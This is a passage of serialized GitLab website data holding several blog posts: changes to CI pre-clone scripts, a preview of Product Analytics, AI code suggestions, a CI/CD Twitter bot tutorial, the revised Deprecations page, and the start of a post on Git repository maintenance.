}",{"title":10655,"description":10656,"authors":10660,"heroImage":9425,"date":10661,"body":10662,"category":736,"tags":10663},[5037],"2023-03-27","\n\nIn GitLab 16.0, on GitLab SaaS Runners on Linux, we are removing the `CI_PRE_CLONE_SCRIPT` variable support in CI/CD workflows. If you use the `CI_PRE_CLONE_SCRIPT` variable in your GitLab SaaS CI pipelines, you must change to the new method to ensure your workflows run as expected.\n\n## What is the pre_clone_script?\n\nThe [`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) configuration option is a powerful pre-build script feature that enables you to execute custom logic before a GitLab Runner clones the project repository and runs your CI jobs. For example, you could use this feature in your environment to automate the cleanup of files from the build directory that aren’t useful for subsequent builds. Other use cases include retrieving files needed for the build or running other commands before the git initialization of the build directory.\n\nTo use this feature on GitLab SaaS Runners on Linux, you must first define a project CI/CD variable, `CI_PRE_CLONE_SCRIPT`, and include that variable in the `.gitlab-ci.yml` pipeline file.\n\nWhile this Runner pre-build script hook configuration has proven helpful for our customers, we needed to devise a more straightforward solution, while introducing additional guard rails. Enter the new [`pre_get_sources_script`](https://docs.gitlab.com/ee/ci/yaml/index.html#hookspre_get_sources_script) keyword in the `.gilab-ci.yml` file syntax.\n\n## What is the pre_get_sources_script hook?\n\nThe `pre_get_sources_script` hook is a simple-to-use method that enables you to have your script executed by the GitLab Runner before the git clone, init, and CI build scripts. Using the new `pre_get_sources_script` script is as simple as entering the following syntax in your `.gitlab-ci.yml` pipeline file.\n\n``` yaml\ntest_job:\n   stage: test\n   hooks:\n      pre_get_sources_script:\n      - echo 'hello run commands here before fetching the project repository'\n   script:\n     - echo 'this is the start of my CI build job script\n\n```\n\nSince the hook now is visible as code in your pipeline, you have immediate visibility into the script the Runner will execute before running the build job.\n\n## How to prepare for `pre_get_sources_script`?\n\nTo prepare for the change to `pre_get_sources_script` in GitLab 16.0, follow these steps: \n\n1. Check your CI jobs on GitLab SaaS to confirm if the `CI_PRE_CLONE_SCRIPT` variable is used.\n1. If the `CI_PRE_CLONE_SCRIPT` is used, then replace the script definition with a `pre_get_sources_script` hook in your `.gitlab-ci.yml` file.\n1. If you have any issues during testing of your pipelines with `pre_get_sources_script`, connect with us by leaving a comment below.\n\n## What's next: Support for `post_get_source`\n\nOn self-managed GitLab Runners, the `pre_get_sources_script` hook is only one of many hooks you can use to run code in various CI/CD pipeline stages. Those hooks include `post_get_sources`, `pre_build`, and `post_build` hooks, configurable only on the Runner host. More details are available in the [`[[runners]]`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) section in the advanced configuration documentation.\n\nIn the future, we plan to add support for `post_get_sources` in the YAML syntax of the `gitlab-ci.yml` pipeline.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n\n",[1384,1385,754],{"slug":10665,"featured":6,"template":678},"changes-to-the-preclonescript","content:en-us:blog:changes-to-the-preclonescript.yml","Changes To The Preclonescript","en-us/blog/changes-to-the-preclonescript.yml","en-us/blog/changes-to-the-preclonescript",{"_path":10671,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10672,"content":10678,"config":10682,"_id":10684,"_type":16,"title":10685,"_source":17,"_file":10686,"_stem":10687,"_extension":20},"/en-us/blog/introducing-product-analytics-in-gitlab",{"title":10673,"description":10674,"ogTitle":10673,"ogDescription":10674,"noIndex":6,"ogImage":10675,"ogUrl":10676,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10676,"schema":10677},"Product Analytics: A sneak peek at our upcoming feature","Our journey to add Product Analytics into the DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667086/Blog/Hero%20Images/blog-compliance.jpg","https://about.gitlab.com/blog/introducing-product-analytics-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Product Analytics: A sneak peek at our upcoming feature\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2023-03-27\",\n      }",{"title":10673,"description":10674,"authors":10679,"heroImage":10675,"date":10661,"body":10680,"category":962,"tags":10681},[7599],"\n\nProduct analytics are important to understand how your users engage with your application so that you can make data-driven decisions. Identifying features that your users make heavy use of and which they don’t can provide signals to teams on where and how to spend their time most effectively. Without product data, we must use one-off anecdotes or opinions, which can be subject to incorrect assumptions, internal biases, or are missing key details. At the same time, instrumenting applications and processing this data can be challenging, which leads many teams to not do it.\n\nAt GitLab, we view this workflow of instrumenting the app, collecting data, and processing it to gain insights as a key piece of the DevSecOps lifecycle. For this reason, we are working on adding Product Analytics capabilities to our platform so you’ll be able to take advantage of them in your own apps. You will be able to instrument features you have built, see how users engage with them, and make decisions using that data – all within GitLab.\n\nIn this blog, you'll learn more details on what our vision is, what we are working on, our future plans, and how you can contribute and engage with us.\n\n## What is Product Analytics?\n\nWe have a broad vision for what we want to achieve, which we outline in our [product direction page](https://about.gitlab.com/direction/analytics/product-analytics/). The short version is that we want to enable developers to easily add instrumentation to their applications, provide infrastructure to receive and process it, run experiments, and enable consumers of the data, such as product managers or developers, to use GitLab to gain insights that will help them make even better products.\n\nOur initial focus is on web applications, primarily those built with JavaScript and Ruby on Rails. Longer term, we want to add functionality like experiments and support for other web frameworks and additional tech stacks.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jG42hesT030\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWe plan to use several open-source technologies to make this happen: [Snowplow](http://www.snowplow.io), [ClickHouse](https://clickhouse.com/), [Cube.dev](https://cube.dev/), and [ECharts](https://echarts.apache.org/en/index.html) for instrumentation, data storage, and data visualization, respectively. Each of these projects is great at what they do and we are excited to build with them.\n\n## How to configure Product Analytics\n\nOnce publicly available, Product Analytics will need access to a Kubernetes cluster running these applications. GitLab will be able to create and manage this cluster for you or you will be able to provide your own cluster. That cluster will then process, store, and transform your data and display it in relevant GitLab screens. You will then instrument your application’s features with one of our [client-side SDKs](https://gitlab.com/gitlab-org/analytics-section/product-analytics/gl-application-sdk-js). \n\nWith your app instrumented and your Product Analytics cluster set up, you will be able to access reports and dashboards within GitLab to explore the data that is reported. You'll be able to identify usage trends and better understand your users so that you can make improvements in future versions of your product.\n\nWe anticipate that one of the unique differentiators GitLab will have with Product Analytics is that all of the dashboard and visualization configurations will be driven by files in your GitLab project. You will be able to collaborate with your team using [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), look at previous versions to understand changes, and set up controls over who can make changes – just like you can with code.\n\n![Product Analytics dashboard](https://about.gitlab.com/images/blogimages/productanalyticsingitlab/productanalytics2.png){: .shadow}\n\n## We are customer zero \n\nOne of GitLab’s values is [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) and using our own product. This helps us better understand our users’ pain points and to find where we should make improvements more quickly. We are already dogfooding what we have built in Product Analytics so far.\n\nWe added Product Analytics to our internal handbook several months ago and have learned a lot about Product Analytics and how team members use the internal handbook.\n\nInstrumenting the internal handbook helped us work through the user experience for Product Analytics. We built out a workflow in GitLab to configure the cluster, view the Product Analytics dashboards, and view the content on them. This showed us what it would be like to instrument a real application. The steps we had difficulty doing showed what users would also likely have difficulty doing and, therefore, were an indication to focus on fixing those.\n\nOnce we had instrumented the handbook, we learned a few things we expected, such as people use the internal handbook primarily on weekdays and we see a massive dropoff in usage on weekends. One thing we didn’t expect was understanding which pages were the most viewed from the handbook. For example, we have various meetings to review [performance indicators](https://about.gitlab.com/handbook/product/#product-performance-indicators) and we saw large spikes in usage for relevant pages when those meetings occurred.\n\n![Screenshot showing spikes](https://about.gitlab.com/images/blogimages/productanalyticsingitlab/productanalytics1.png){: .shadow}\n\n## Our continued commitment to user privacy\n\nWe know that analytics offerings raise questions about user privacy and how data is being managed. Your data is your data. We want to build Product Analytics from the beginning so that you can respect the privacy of users. We are taking a few steps to accomplish this.\n\n* Product Analytics was designed to honor commonly recognized opt-out signals. That means users browsing the app will not have their activity recorded or analyzed by Product Analytics when an opt-out signal is received. Opt-out signals are becoming more common as a way of respecting privacy and we are excited to use them.\n* We are designing Product Analytics from the beginning to give you full control over the data you collect, rather than requiring it to be sent to a third-party service. Recall how you will have to provide a Kubernetes cluster with Snowplow, ClickHouse, and Cube.dev – you can provide your own cluster and GitLab can connect to it or we can host the cluster for you. In all cases, the data is yours – GitLab will not use this data beyond Product Analytics features and will not sell nor examine it.\n\n## What’s next?\n\nWe’re excited for the future of Product Analytics and to provide a way for you to learn even more about your users. Our near-term plans are to take what we have built so far and learn what improvements are needed to make it production ready for you to use. We are also working to give you a variety of options on how to best display Product Analytics data within GitLab so that it is easy for you to get started and to explore your data.\n\n## We’d love to hear from you\n\nAs we move forward with Product Analytics, we would love to hear your thoughts, comments, and questions. We have created [this Product Analytics feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/391970) if you want to start a discussion there.\n\nWe plan to release Product Analytics iteratively and will start with a small group of existing customers. If you are interested in previewing Product Analytics before it is generally available, please fill out [our contact form](https://forms.gle/3Q3srimfqpM4WCKM8).\n\n\u003Ci>Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\u003C/i>\n",[736,695,754],{"slug":10683,"featured":6,"template":678},"introducing-product-analytics-in-gitlab","content:en-us:blog:introducing-product-analytics-in-gitlab.yml","Introducing Product Analytics In Gitlab","en-us/blog/introducing-product-analytics-in-gitlab.yml","en-us/blog/introducing-product-analytics-in-gitlab",{"_path":10689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10690,"content":10695,"config":10700,"_id":10702,"_type":16,"title":10703,"_source":17,"_file":10704,"_stem":10705,"_extension":20},"/en-us/blog/ai-assisted-code-suggestions",{"title":10691,"description":10692,"ogTitle":10691,"ogDescription":10692,"noIndex":6,"ogImage":8601,"ogUrl":10693,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10693,"schema":10694},"How AI-assisted code suggestions will advance DevSecOps","In this second blog in our ‘Future of AI/ML in DevSecOps’ series, find out the impact of AI Assisted code suggestions on the software development lifecycle.","https://about.gitlab.com/blog/ai-assisted-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How AI-assisted code suggestions will advance DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Neha Khalwadekar\"}],\n        \"datePublished\": \"2023-03-23\",\n      }",{"title":10691,"description":10692,"authors":10696,"heroImage":8601,"date":10697,"body":10698,"category":791,"tags":10699},[10053],"2023-03-23","\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nArtificial intelligence (AI) and machine learning (ML) have made incredible technological strides and are now poised to [impact the software development process](/topics/devops/the-role-of-ai-in-devops/). As we can see, AI code suggestion proposals have already had a tremendous influence in helping programmers reduce repetitive tasks. AI-assisted code suggestions will enable developers to speed up coding, debugging, refactoring, documentation, and many more tasks, greatly enhancing the software development lifecycle (SDLC).\n\n![Trends adopting AI/ML from GitLab's DevSecOps Survey](https://about.gitlab.com/images/blogimages/ai-ml-adoption-03-2023.png){: .shadow}\n\n## What are suggestions for AI-assisted code?\n\nML techniques are used in AI-assisted code suggestions to assess code and recommend improvements. These recommendations involve modifying the syntax, streamlining the organization of the code, or suggesting more effective methods. By lowering errors, increasing effectiveness, and providing optimization advice, the aim is to assist developers in writing better code faster.\n\n![Animated gif image of code suggestions](https://about.gitlab.com/images/15_9/DemoFastApi.gif){: .shadow}\n\n## How can AI-assisted code suggestions help?\n\nAI-assisted code suggestions can substantially improve the programming experience by reducing errors and helping programmers write code faster, which will help reproduce the much higher production code quality. \n\nHere are some of those SDLC improvements:\n\n- **Decreased errors, increased accuracy.** The capacity of AI-assisted code suggestions to decrease errors and increase accuracy is a critical advantage over manually written code. Developers can prevent common syntax errors, organize their code better, and boost algorithm performance with code suggestions. This leads to more dependable and effective code, which produces fewer defects and higher-quality software.\n- **A rise in productivity.** AI-assisted code suggestions can increase developers' efficiency by producing better code faster and more efficiently, saving time and money. Additionally, code suggestions can automate repetitive activities like formatting code, freeing engineers to concentrate on more complex jobs.\n- **Improved collaboration.** AI-assisted code recommendations can improve developer collaboration. Code suggestions can ensure all developers are on the same page by offering consistent coding standards and ideas for improvement. This will lessen the possibility of mistakes and facilitates efficient teamwork.\n- **Faster rollout and iteration.** AI-assisted code recommendations can hasten the deployment and iteration processes. With fewer errors and more effective code, developers can iterate and release updates faster. Code reviews also are faster and more efficient. As a result, enterprises can quickly bring new features to market, providing them with a substantial competitive edge.\n\n### GitLab’s competitive advantages\n\nGitLab’s unified DevSecOps platform enables businesses to deliver software more quickly and efficiently while enhancing security and compliance and maximizing the total return of investment on software development. We anticipate GitLab AI Assisted Code Suggestions will extend and amplify these benefits to improve developer productivity, focus, and innovation without context switching and within a single DevSecOps platform using the GitLab Workflow VS Code extension to get code suggestions as they type. Depending on the user prompts, the extension provides entire code snippets like generating functions or completing the current line. Simply pressing the tab key enables you to accept the suggestions.\n\nAs AI technologies advance in sophistication, they will provide more individualized and nuanced ideas, increasing their value to programmers.\n\nThe low-code/no-code development sectors are where AI-assisted code suggestions are anticipated to have substantial impact. As these development platforms spread, we envision bringing AI-powered tools that can offer recommendations and optimizations to simplify the software creation and deployment process for non-technical users on GitLab.com. \n\nThe following are some of the critical jobs we intend to address for our customers with AI Assisted Code Suggestions in the DevSecOps Platform:\n\n- **Code optimization.** How can we drastically reduce the time and effort required for developers to examine and test their code by identifying redundant or inefficient lines of code and suggesting streamlined alternatives?\n- **Automatic bug detection and patching.** How can we analyze sizable codebases to find potential bugs or security flaws and can also offer patches to fix them?\n- **Smart debugging.** How can we assist developers in locating faults precisely and make suggestions for potential fixes? This can result in considerable time and effort savings for developers and quicker bug response.\n- **Continuous integration and deployment.** How can we facilitate continuous integration and deployment by identifying code changes that could cause potential conflicts? This will enable developers to resolve issues quickly and roll out production code faster.\n- **Predictive maintenance.** How can we monitor the performance of the code and find potential issues before they become serious? As a result, developers may proactively address faults, leading to more dependable and stable software.\n- **Programming in natural language.** How can we allow developers to build code via simple natural-language commands? This can result in more efficient development and a much shorter learning curve for new developers.\n- **Test case generation and automation.** How can we generate test cases and automate the testing process? In addition to ensuring that software is adequately tested before it is deployed, this can cut down on the time and effort needed for testing.\n- **Smart code completion.** How can we ensure developers write code faster and more precisely, which completes code snippets based on context? This may lead to fewer mistakes and more effective development.\n\nGitLab’s AI Assisted Code Suggestions are available to select Ultimate customers in a closed beta. For early access consideration, Ultimate customers can [submit this form](https://docs.google.com/forms/d/e/1FAIpQLSdSixexFKnIkFGBbmx6XJfBdEBACowhsO-DOm82q4rrAAuYmA/viewform). We’re working towards a wider open beta of this capability in the next few months. \n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":10701,"featured":6,"template":678},"ai-assisted-code-suggestions","content:en-us:blog:ai-assisted-code-suggestions.yml","Ai Assisted Code Suggestions","en-us/blog/ai-assisted-code-suggestions.yml","en-us/blog/ai-assisted-code-suggestions",{"_path":10707,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10708,"content":10714,"config":10719,"_id":10721,"_type":16,"title":10722,"_source":17,"_file":10723,"_stem":10724,"_extension":20},"/en-us/blog/automating-a-twitter-bot-using-gitlab-cicd",{"title":10709,"description":10710,"ogTitle":10709,"ogDescription":10710,"noIndex":6,"ogImage":10711,"ogUrl":10712,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10712,"schema":10713},"How to automate a Twitter bot using GitLab CI/CD","This tutorial shows how to use the DevSecOps platform to create a set-and-forget Twitter bot.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661856/Blog/Hero%20Images/ci-cd-demo.jpg","https://about.gitlab.com/blog/automating-a-twitter-bot-using-gitlab-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to automate a Twitter bot using GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Siddharth Mathur\"}],\n        \"datePublished\": \"2023-03-21\",\n      }",{"title":10709,"description":10710,"authors":10715,"heroImage":10711,"date":10716,"body":10717,"category":734,"tags":10718},[7074],"2023-03-21","\n\nGitLab's CI/CD pipelines are great for automating many things, like deployments to Google Kubernetes Engine and security scans. But did you know that you could use GitLab CI/CD pipelines to run a set-and-forget Twitter bot?\n\nMany organizations today are leveraging Twitter's API to [understand customer sentiment](https://developer.twitter.com/en/blog/success-stories/target), [track public health data](https://developer.twitter.com/en/blog/success-stories/penn), [perform financial analysis](https://developer.twitter.com/en/blog/success-stories/likefolio), and more. While these bots may be running on self-managed infrastrucuture or external services, you can simplify and consolidate your tooling by leveraging GitLab instead, making your bot easier to manage.\n\nWith GitLab's [Free tier](/pricing/), you can leverage 400 minutes of CI/CD run time per month to automatically analyze and post tweets. With GitLab [Premium](/pricing/premium) and [Ultimate](/pricing/ultimate), you'll get even more pipeline minutes to tweet more, run longer natural language processing analyses, or for other projects.\n\nSetting up a Twitter bot using GitLab is pretty simple. At the end of this blog, you'll have a project that looks like [this](https://gitlab.com/smathur/twitter-bot), and a Twitter account that automatically posts a simple tweet.\n\nTo get started, you'll need these prerequisites:\n- GitLab account (self-hosted with GitLab Runner(s) set up or on GitLab.com)\n- Twitter API credentials\n\nOnce you've generated your Twitter API credentials, we can start building out our bot in GitLab. In this blog, we'll leverage GitLab's Web IDE based on Visual Studio Code, but feel free to use a code editor of your choice.\n\n## Step 1: Write a Python script to post tweets\n\n![Navigate to the Web IDE](https://about.gitlab.com/images/blogimages/2023-03-10-automating-a-twitter-bot-using-gitlab-cicd/web-ide.png){: .shadow}\n\nCreate a new blank project in GitLab, and click the \"Web IDE\" button to start writing some code. In the Web IDE, create a new file called `run_bot.py`, and paste the following code (this is where you interact with the Twitter API):\n\n```python\nimport tweepy\nimport config\n\ndef set_up():\n\tauth = tweepy.OAuthHandler(config.consumer_key, config.consumer_secret_key)\n\tauth.set_access_token(config.access_token, config.access_token_secret)\n\tapi = tweepy.API(auth)\n\treturn api\n\ndef run(tweet):\n\tapi = set_up()\n\tapi.update_status(tweet)\n\nrun('It\\'s Tanuki time')\n```\n\n**Note:** If you're familiar with Python, you'll notice that we're importing a file called `config` with some variables that we're using. This `config` file doesn't exist yet, but we'll create it from within a GitLab pipeline, leveraging CI/CD variables to securely store and use our Twitter API credentials.\n\nCreate another file called `requirements.txt`, and paste the following line:\n\n```\ntweepy\n```\n\nChanges to files in the Web IDE will be automatically saved, so switch to the Git tab and commit your changes.\n\n## Step 2: Create a CI/CD pipeline to run your Python script\n\nNext, we'll create a CI/CD pipeline script to run our Twitter bot and post a tweet every time the pipeline is run. To do this, you can:\n1. Create a new file using the Web IDE called `.gitlab-ci.yml`, or\n2. Head to your GitLab project, and from the sidebar, click CI/CD > Editor.\n\nIf you see some default text in the pipeline configuration, delete everything to start with a clean slate.\n\nIn the pipeline YAML file, we'll first specify the Docker image we want to run the bot on:\n\n```yaml\nimage: python:latest\n```\n\n**Note:** Normally in a pipeline, we would define stages first and then write jobs that are each assigned to a specific stage. Since we're only running one job in this pipeline, we don't need to specify stages at the top of our pipeline configuration file.\n\nNext, we'll add a job called `run` that runs the Python script we created in the previous step. Inside this job, we'll add a `script` section to run some commands that will execute our Python script.\n\n```yaml\nrun:\n  script:\n    - echo \"consumer_key = '$CONSUMER_KEY'\" >> config.py\n    - echo \"consumer_secret_key = '$CONSUMER_SECRET'\" >> config.py\n    - echo \"access_token = '$ACCESS_TOKEN'\" >> config.py\n    - echo \"access_token_secret = '$ACCESS_SECRET'\" >> config.py\n    - pip install -r requirements.txt\n    - python3 run_bot.py\n```\n\nCommit your changes. The pipeline will automatically run, since you just made a change to the project files, but it will fail. This is because we are calling some CI/CD variables in the pipeline, which we haven't set yet. Let's go ahead and do that!\n\n## Step 3: Set CI/CD variables to store API tokens\n\nHead to your GitLab project and from the sidebar, go to Settings > CI/CD.\n\nExpand the \"Variables\" section and add the `ACCESS_SECRET`, `ACCESS_TOKEN`, `CONSUMER_KEY`, and `CONSUMER_SECRET` variables as shown below (these are your Twitter API credentials):\n\n![CI/CD variables](https://about.gitlab.com/images/blogimages/2023-03-10-automating-a-twitter-bot-using-gitlab-cicd/ci-cd-variables.png){: .shadow}\n\nNote that the secrets are masked to prevent them from showing up in job logs (check the \"Mask variable\" box when creating/editing the variable).\n\n## Step 4: Test and schedule your Twitter bot\n\nNow that we've got everything set up, all we need to do is run the bot. Go to CI/CD > Pipelines, and click \"Run pipeline\". Click \"Run pipeline\" again, and wait for the `run` job to finish. If you've set up your Twitter credentials correctly, you should see that the pipeline successfully ran, and a tweet was posted on your bot account!\n\n![Schedule a pipeline](https://about.gitlab.com/images/blogimages/2023-03-10-automating-a-twitter-bot-using-gitlab-cicd/schedule-pipeline.png){: .shadow}\n\nOnce you've verified that your pipeline runs successfully, schedule your pipeline to automatically run at a regular interval. Go to CI/CD > Schedules, and click \"New schedule\". Feel free to use one of the default provided intervals, or use cron to set a custom schedule. Specify a timezone, and ensure that the \"Active\" checkbox is checked. Finally, click \"Save pipeline schedule\". You'll see that your pipeline has been scheduled to run, and when it will run next.\n\nAnd that's it! You now have a fully-functional Twitter bot running on GitLab, using CI/CD pipelines to automatically post tweets. While this demo Twitter bot simply posts a specified text message, you can add your own logic to [generate sentences using AI](https://linguatools.org/language-apis/sentence-generating-api/), [perform sentiment analysis on other users' tweets](https://www.analyticsvidhya.com/blog/2021/06/twitter-sentiment-analysis-a-nlp-use-case-for-beginners/), and more. Running a Twitter bot is just one of the many ways you can leverage pipelines in GitLab, and you can also check out some other [interesting use cases](https://docs.gitlab.com/ee/ci/examples/).\n",[943,1384,1385,696],{"slug":10720,"featured":6,"template":678},"automating-a-twitter-bot-using-gitlab-cicd","content:en-us:blog:automating-a-twitter-bot-using-gitlab-cicd.yml","Automating A Twitter Bot Using Gitlab Cicd","en-us/blog/automating-a-twitter-bot-using-gitlab-cicd.yml","en-us/blog/automating-a-twitter-bot-using-gitlab-cicd",{"_path":10726,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10727,"content":10733,"config":10737,"_id":10739,"_type":16,"title":10740,"_source":17,"_file":10741,"_stem":10742,"_extension":20},"/en-us/blog/enhanced-deprecations-page",{"title":10728,"description":10729,"ogTitle":10728,"ogDescription":10729,"noIndex":6,"ogImage":10730,"ogUrl":10731,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10731,"schema":10732},"A first look at GitLab’s enhanced Deprecations page","This single source of truth has up-to-date information on breaking changes, deprecations, and removals.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683829/Blog/Hero%20Images/hotjar.jpg","https://about.gitlab.com/blog/enhanced-deprecations-page","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A first look at GitLab’s enhanced Deprecations page\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2023-03-20\",\n      }",{"title":10728,"description":10729,"authors":10734,"heroImage":10730,"date":10735,"body":10736,"category":736},[1720],"2023-03-20","\n\nBreaking changes are important information for every DevSecOps team. We want to ensure that breaking changes for GitLab’s DevSecOps Platform are conveyed in a single source of truth (SSoT). Therefore, we are discontinuing the breaking changes blog post that accompanies GitLab major releases as it is a duplication of our SSoT. In its place, the [Deprecations page](https://docs.gitlab.com/ee/update/deprecations.html) in the documentation will act as the SSoT for all breaking changes, deprecations, and removals.\n\nThe Deprecations page holds the most up-to-date information for GitLab users, so please [add it to your bookmarks](https://docs.gitlab.com/ee/update/deprecations.html).\n\n##  Minimizing breaking changes\n\nWe understand the disruption that breaking changes can have on workflows, so we only include breaking changes in our major releases in line with our [semantic versioning policy](https://docs.gitlab.com/ee/policy/maintenance.html#versioning), with a few [exceptions](https://about.gitlab.com/handbook/product/gitlab-the-product/#exceptions-for-breaking-changes).\n\nWe also try to minimize the number of breaking changes that we introduce. However, sometimes they are needed to improve workflows, performance, scalability, and more. For example, if we ascertain that existing features are not as valuable or intuitive as they should be – and that developers aren’t using them as a result – then we may choose to deprecate or remove those features in favor of something that is more useful and easy to adopt. Similarly, critical issues or changes to supporting infrastructure and services can lead to breaking changes and we do our best to minimize the impact to users. You can find more information on how we deprecate GitLab features [in our docs](https://docs.gitlab.com/ee/development/deprecation_guidelines/). \n\nThe Deprecations page lists [all planned removals in GitLab 16.0](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=160&breaking_only=false).\n\n## Updates to Deprecations page\n\nThe Deprecations page has a few new features! You can now:\n\n- filter by the removal version\n- toggle only breaking changes\n\nThese features enable you to examine exactly what deprecations, removals, and breaking changes are planned for each version of GitLab as well as filter out non-breaking changes.\n\nFollowing the release of 15.11 on April 22, we will have [a number of breaking changes](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=160&breaking_only=true) that will flow into gitlab.com. We understand the impact that breaking changes can have on gitlab.com customers and we are working on additional communication to ensure minimal, if any, disruption.\n\n## How to use the Deprecations page\n\nBy default, the Deprecations page shows all planned removals for GitLab.\n\nYou can filter for a specific removal version by using the dropdown and selecting the version you want to inspect.\n\n![Select a version from the dropdown menu](https://about.gitlab.com/images/blogimages/2023-03-20-deprecations-first-look-version-dropdown.gif){: .shadow}\n\nNext to the removal dropdown, there is a toggle for breaking changes. Setting this toggle to the active position will filter the results on the page so that only breaking changes are displayed.\n\n![Toggle breaking changes button](https://about.gitlab.com/images/blogimages/2023-03-20-deprecations-first-look-breaking-toggle.gif){: .shadow}\n\n## Iterating breaking changes communication\n\nWe’re continuously iterating toward a better product and that includes how we communicate with our users. The updates to the Deprecations page make it easier to get the most up-to-date information on breaking changes landing on gitlab.com. In our upcoming iteration, we plan to make the data even more granular to match the pace of our [continuous delivery process](https://about.gitlab.com/handbook/engineering/deployments-and-releases/).\n\nIf you need to see all changes in gitlab.com, not just breaking changes, deprecations, and removals, our Customer Success team has a [dashboard that we’ve shared](https://gitlab-com.gitlab.io/cs-tools/gitlab-cs-tools/what-is-new-since/?tab=dot-com) with our community. Here you can see the latest issues and MRs for features that have made it into gitlab.com. \n\n## We welcome your feedback\n\nAt GitLab, we are [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default) and we want to collaborate with you on what comes next. If you have ideas for iterating our deprecations page or if you encounter a bug, please comment on our [feedback issue](https://gitlab.com/gitlab-com/Product/-/issues/5558), or reach out to our team and let us know.\n\n\n",{"slug":10738,"featured":6,"template":678},"enhanced-deprecations-page","content:en-us:blog:enhanced-deprecations-page.yml","Enhanced Deprecations Page","en-us/blog/enhanced-deprecations-page.yml","en-us/blog/enhanced-deprecations-page",{"_path":10744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10745,"content":10751,"config":10755,"_id":10757,"_type":16,"title":10758,"_source":17,"_file":10759,"_stem":10760,"_extension":20},"/en-us/blog/scaling-repository-maintenance",{"title":10746,"description":10747,"ogTitle":10746,"ogDescription":10747,"noIndex":6,"ogImage":10748,"ogUrl":10749,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10749,"schema":10750},"Future-proofing Git repository maintenance","Learn how we revamped our architecture for faster iteration and more efficiently maintained repositories.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677736/Blog/Hero%20Images/Git.png","https://about.gitlab.com/blog/scaling-repository-maintenance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Future-proofing Git repository maintenance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2023-03-20\",\n      }",{"title":10746,"description":10747,"authors":10752,"heroImage":10748,"date":10735,"body":10753,"category":734,"tags":10754},[1817],"\n\nUsers get the most from [Gitaly](/direction/gitaly/#gitaly-1), the service responsible for the storage and maintenance of all Git repositories in GitLab, when traffic hitting it is efficiently handled. Therefore, we must ensure our Git repositories remain in a well-optimized state. When it comes to Git monorepositories, this maintenance can be a complex task that can cause a lot of overhead by itself because repository housekeeping becomes more expensive the larger the repositories get. This blog post explains in depth what we have done over the past few GitLab releases to rework our approach to repository housekeeping for better scaling and to maintain an optimized state to deliver the best peformance for our users.\n\n## The challenge with Git monorepository maintenance\n\nTo ensure that Git repositories remain performant, Git regularly runs a set of\nmaintenance tasks. On the client side, this usually happens by automatically\nrunning `git-gc(1)` periodically, which:\n\n- Compresses revisions into a `packed-refs` file.\n- Compresses objects into `packfiles`.\n- Prunes objects that aren't reachable by any of the revisions and that have\n  not been used for a while.\n- Generates and updates data structures like `commit-graphs` that help to speed\n  up queries against the Git repository.\n\nGit periodically runs `git gc --auto` automatically in the background, which\nanalyzes your repository and only performs maintenance tasks if 